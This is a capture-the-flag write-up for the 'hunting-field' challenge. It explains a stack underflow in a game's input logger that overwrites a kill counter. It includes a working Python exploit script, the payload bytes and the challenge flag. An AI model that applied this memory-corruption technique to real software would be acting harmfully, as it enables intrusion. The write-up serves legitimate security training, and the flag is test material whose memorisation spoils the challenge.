writeup

hunting-field

Take up your arms, and slay your enemies!

Name: hunting-field
Author: elliott
Flag format: tjctf{...}
Objective: Exploit the game input logging bug to overwrite the kill counter with the required magic value and trigger `game_over()` to print the flag.

hunting-field

Challenge Overview

Name: hunting-field

Author: elliott

Description: Take up your arms, and slay your enemies!

Flag format: tjctf{...}

Objective: Exploit the game input logging bug to overwrite the kill counter with the required magic value and trigger game_over() to print the flag.

Files Provided

  • `game.c`
  • `game`

Solution Plan

1. Review the source code and identify how the game decides whether to print the flag.

2. Abuse the invalid-input logger, which writes backward from input_log[63], to underflow into nearby stack variables.

3. Overwrite killCt with 1752526452 and trigger game_over() naturally to receive the flag.

Code (Exploit Script)

cat > solve.py <<'PY'
#!/usr/bin/env python3
import socket
import sys

HOST = sys.argv[1] if len(sys.argv) > 1 else "tjc.tf"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 31412

payload_lines = (
    ["zz"] * 32 +
    ["hu", "nt", "zz"] +
    ["MN", "AS", "MN", "MN"]
)

payload = ("\n".join(payload_lines) + "\n").encode()

with socket.create_connection((HOST, PORT), timeout=10) as s:
    s.settimeout(2)
    s.sendall(payload)

    out = b""
    for _ in range(50):
        try:
            chunk = s.recv(4096)
            if not chunk:
                break
            out += chunk
            if b"tjctf{" in out.lower() or b"flag" in out.lower():
                break
        except socket.timeout:
            break

print(out.decode(errors="replace"))
PY

python3 solve.py

Flag

tjctf{pr0fes5iona1_hunt3r}

Notes

The flag check compares the kill counter against 1752526452, which is 0x68756e74. Because the system is little-endian, the bytes must be written as tnuh.

The invalid-input loop logs two bytes per invalid input and moves the pointer backward:

*array_ptr = player_input[0];
array_ptr -= sizeof(player_input[0]);
*array_ptr = player_input[1];
array_ptr -= sizeof(player_input[1]);

After 32 invalid inputs, the payload reaches the area before input_log. The inputs hu and nt place the bytes so that killCt becomes 0x68756e74. Then the valid moves trigger game_over(), causing the program to print the flag.